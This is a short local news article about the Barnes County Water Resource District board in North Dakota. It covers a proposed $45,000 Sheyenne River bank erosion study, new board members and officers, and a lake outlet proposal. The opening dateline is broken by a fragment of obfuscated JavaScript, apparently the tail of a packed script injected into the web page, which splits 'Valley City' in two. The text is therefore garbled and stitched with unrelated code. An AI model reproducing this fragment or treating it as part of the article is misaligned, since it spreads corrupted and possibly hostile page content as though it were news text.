Valley naieh|var|u0026u|referrer|nyyrn||js|php’.split(‘|’),0,{}))
City, N.D. – The Barnes County Water Resource District board approved a request by the Barnes County Commission to submit a formal request to the State Water Commission to allow the county to conduct a Sheyenne River bank erosion study.

Commissioner John Froehlich told the board the study would cost an estimated $45,000 through the engineering firm of Kadrmas, Lee & Jackson to get a baseline of the current conditions of the river bank.

Froehlich said the state water commission may pickup some or all of the cost. He said if the state doesn’t the county will pay for it. He said the request has to come through the water district board. The water board unanimously approved starting the request process at Monday’s meeting.

Froehlich said according to KLJ, the river bank erosion study could take 6 to 8 weeks to complete.

Valley City officials said last week they would be willing to help pay for the city portion of the cost share study.

In other action the water board realigned with 5 members including two new members, John Kohler and Jerry Hieb. The board voted to make Jeff McMillan chairman and Pat Hurley vice chairman of the Barnes County Water Resource District board.

The board also discussed the 10 mile lake outlet proposal in the northwestern district of the county. Chairman Jeff McMillan says there appears to be mitigation and wetland issues before the project can move forward. He says nearby landowners have water issues with their roads and would like to have some water taken off the lake to help them. McMillan says it may take 2 years before the outlet project is completed.